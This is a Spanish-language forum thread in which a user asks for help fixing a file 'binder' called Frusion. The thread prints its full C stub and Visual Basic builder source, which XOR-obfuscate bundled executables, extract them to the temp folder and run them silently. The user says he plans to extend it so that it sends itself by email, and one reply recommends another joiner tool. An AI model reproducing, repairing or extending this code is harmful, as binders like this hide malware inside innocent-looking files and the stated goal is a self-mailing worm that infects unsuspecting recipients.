Título: blinde fusion run time error 53 Publicado por: mojolloyo20 en 12 Enero 2006, 19:39 pm hola es la primera vez que escribo en este apartado lo que
intento hacer lo dice aki:http://foro.elhacker.net/index.php/topic,102653.0.html para no estenderme mucho,baje el codigo de un blinde se llama fusion,abro el vb,abro el prollecto para ver si es funcional. agrego 2 exe o dos jpg y a la hora de darle a bundle para hacer la fusion me tira este error: run time error 53 file no found le doy a debug y me resalta esta linea en amarilla con su dicha flecha lngFilesize = FileLen(App.Path & "\stub\stub.exe") si lo recopilo osea creo el programa en exe me da el mismo error:run time error 53 file no found alguien que me pueda hechar una mano?no se mucho de esto solo algo soy bastante lamerrr. tengo el codigo entero ahora no lo pondre pero si ace falta mas info lo pego aki. salu2s y muchas gracias ire haciendo pruebas aver si doy con el error de mientras. Título: Re: blinde fusion run time error 53 Publicado por: NYlOn en 12 Enero 2006, 21:14 pm Es porque el archivo stub.exe no existe.
No se como funciona el codigo, pero capaz que tenes que reemplazar el nombre por alguno que exista o por alguna variable... Saludos.- Título: Re: blinde fusion run time error 53 Publicado por: sch3m4 en 12 Enero 2006, 23:11 pm http://lympex.securityhead.com/index2.php?menu=downloads
mira Jhoiner 0.9 ;) Título: Re: blinde fusion run time error 53 Publicado por: mojolloyo20 en 13 Enero 2006, 00:00 am muchisimas gracias le hechare un vistazo aver que puedo hacer espero que no de problemas.
salu2s y gracias de nuevo. Título: Re: blinde fusion run time error 53 Publicado por: mojolloyo20 en 13 Enero 2006, 17:21 pm hola de nuevo,Lympex mire lo de Jhoiner 0.9 pero son 2 exe
yo nesesito codigo vb para poder modificar luego con la api de hotmail.pero gracias de toas formas. estuve mirando en la carpeta fusion me viene una carpeta que pone stub,trae 2 archivos stub.dsp y stub.dsw y un texto debug_stub. lo que pone en el texto es: //Frusion debug stub //biff <bboxet@gmail.com> /* Frusion biff <bboxet@gmail.com> i just wrote a sample of frusion binder code in about 20 mins. bored and sick. anyways you can use the code only if you credit biff and mrjinxy. yeah yeah yeah */ #include <windows.h> #include <stdio.h> //structure for every bound file struct FILE_DATA { char szFilename[20]; long lngFilesize; } stFile; HANDLE hFile, hThread; DWORD dwFilesize, dwRead; DWORD dwFilepointer = 0, dwFilebuffer = 0; char *szFilename, *szFilepath, *szFile; DWORD WINAPI READ_FILE(LPVOID lpParameter) { while(1) { //open the stub and read every 4 megs and //decrypt it and write it hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, dwFilesize + dwFilepointer, 0, FILE_BEGIN); //get the filebuffer by subtractin the filepointer from the //bounded filesize dwFilebuffer = stFile.lngFilesize - dwFilepointer; //if the buffer is bigger then 4 megs then it's 4 megs if(dwFilebuffer > 4194304) dwFilebuffer = 4194304; else if(dwFilebuffer == 0) //if it's zero then it's done. break; //make the string big as the buffer szFile = new char[dwFilebuffer]; //read it then xor it ReadFile(hFile, szFile, dwFilebuffer, &dwRead, NULL); CloseHandle(hFile); //simple xor encryption for(unsigned int i = 1; i < dwFilebuffer; i++) szFile ^= 5; //write the file (add the 4 megs) hFile = CreateFile(szFilepath, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, 0, 0, FILE_END); WriteFile(hFile, szFile, dwFilebuffer, &dwRead, NULL); CloseHandle(hFile); //filepointer + the buffer dwFilepointer += dwFilebuffer; //delete the pointer from memory delete[] szFile; } return 0; } int main(int argc, char *argv[]) { //get stub filename szFilename = new char[260]; GetModuleFileName(0, szFilename, 260); //get the original filesize hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, -(signed)sizeof(long), 0, FILE_END); ReadFile(hFile, (char *)&dwFilesize, sizeof(long), &dwRead, NULL); CloseHandle(hFile); //check if the original filsize is 0 if((unsigned)dwFilesize == 0) return 0; printf("Frusion Debug\nbiff<bboxet@gmail.com>\n\n"); printf("Filename: %s\n", szFilename); printf("Filesize: %d\n\n", dwFilesize); //loop still the filename is "0" while(strcmp(stFile.szFilename, "0") != 0) { //open the stub read the file structure hFile = CreateFile(szFilename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); SetFilePointer(hFile, dwFilesize, 0, FILE_BEGIN); ReadFile(hFile, (char *)&stFile, sizeof(stFile), &dwRead, NULL); CloseHandle(hFile); //check if the filename is "0" if(strcmp(stFile.szFilename, "0") == 0) break; printf("FILE_DATA\n"); printf("Filename: %s\n", stFile.szFilename); printf("Filesize: %d\n", stFile.lngFilesize); //get temp path szFilepath = new char[260]; GetTempPath(260, szFilepath); //C:\..\Temp\szFilename strcat(szFilepath, stFile.szFilename); printf("Filepath: %s\n\n", szFilepath); //original filesize + sizeof the structure dwFilesize += sizeof(stFile); //create thread for read/decrypt/write the file hThread = CreateThread(0, 0, READ_FILE, 0, 0, 0); WaitForSingleObject(hThread, INFINITE); //add the bounded filesize to the original dwFilesize += stFile.lngFilesize; //run it ShellExecute(0, "open", szFilepath, 0, 0, 1); //change the pointer and buffer to 0 dwFilepointer = 0; dwFilebuffer = 0; //delete the pointers from mem delete[] szFilepath, szFile; } //delete the pointers from mem delete[] szFilename, szFilepath, szFile; return 0; } y este es el codigo del blinder fusion: 'sample frusion binder code 'biff <bboxet@gmail.com> '--------------------------------------------- 'Frusion 'biff <bboxet@gmail.com> 'i just wrote a sample of frusion binder code in about 20 mins. bored and sick. 'anyways you can use the code only if you credit biff and mrjinxy. 'yeah yeah yeah Option Explicit Private Type FILE_DATA szFilename As String * 20 lngFilesize As Long End Type Dim stFile As FILE_DATA Dim lvItem As ListItem Private Function bXor(szData As String) As String Dim bytData() As Byte Dim I As Long If Len(szData) = 0 Then Exit Function End If ReDim bytData(Len(szData)) bytData() = StrConv(szData, vbFromUnicode) For I = 1 To UBound(bytData) bytData(I) = bytData(I) Xor 5 Next I bXor = StrConv(bytData, vbUnicode) End Function Private Sub lvFiles_MouseDown(Button As Integer, Shift As Integer, x As Single, y As Single) If Button = 2 Then PopupMenu mnuOptions End If End Sub Private Sub mnuAdd_Click() With cdDialog .ShowOpen If .FileName > "" Then Set lvItem = lvFiles.ListItems.Add(, , .FileName, , 0) lvItem.ListSubItems.Add , , .FileTitle End If End With End Sub Private Sub mnuBundle_Click() Dim I As Integer Dim szFile As String Dim lngFilesize As Long Dim lngFilepointer, lngFilebuffer As Long 'check if the list has files If lvFiles.ListItems.Count = 0 Then Exit Sub 'get the original size of the stub lngFilesize = FileLen(App.Path & "\stub\stub.exe") FileCopy App.Path & "\stub\stub.exe", App.Path & "\stub.exe" 'loop each file For I = 1 To lvFiles.ListItems.Count 'change the filepointer to 1 and buffer to 0 lngFilepointer = 1 lngFilebuffer = 0 'get the filename from the stubitem stFile.szFilename = lvFiles.ListItems.Item(I).SubItems(1) & Chr(0) 'get the filesize of the file stFile.lngFilesize = FileLen(lvFiles.ListItems.Item(I)) 'open the stub and put the FILE_DATA structure in it Open App.Path & "\stub.exe" For Binary As #1 Put #1, LOF(1) + 1, stFile Close #1 'endless loop Do While 1 'open the file Open lvFiles.ListItems.Item(I) For Binary As #1 'move the filepointer Seek 1, lngFilepointer 'get the buffer size (same as the stub) lngFilebuffer = ((LOF(1) + 1) - lngFilepointer) 'if the buffer > then 4 megs - change it to 4meg If lngFilebuffer > 4194304 Then lngFilebuffer = 4194304 'if it's zero then close the filehandles and exit the loop ElseIf lngFilebuffer = 0 Then Close #1 Close #2 Exit Do End If 'make the szfile string size as filebuffer szFile = Space$(lngFilebuffer) 'read into the string Get #1, , szFile 'open the stub and put the xord string Open App.Path & "\stub.exe" For Binary As #2 Put #2, LOF(2) + 1, bXor(szFile) Close #2 'add the filepointer + the size of the buffer lngFilepointer = lngFilepointer + lngFilebuffer Close #1 Loop Next I 'no more files so chane the file name/size to zero stFile.szFilename = "0" & Chr(0) stFile.lngFilesize = 0 'open the stub and put the structure and original filesize Open App.Path & "\stub.exe" For Binary As #1 Put #1, LOF(1) + 1, stFile Put #1, LOF(1) + 1, lngFilesize Close #1 MsgBox "done" End Sub Private Sub mnuClear_Click() lvFiles.ListItems.Clear End Sub Private Sub mnuExit_Click() End End Sub aver si me podeis hechar una mano que me he astacado y no se que es lo que he de hacer.alguien que me oriente? no pido que me lo hagan lo quiero hacer yo y retocarlo con la api para que se auto envie por correo.muchas asias y salu2s |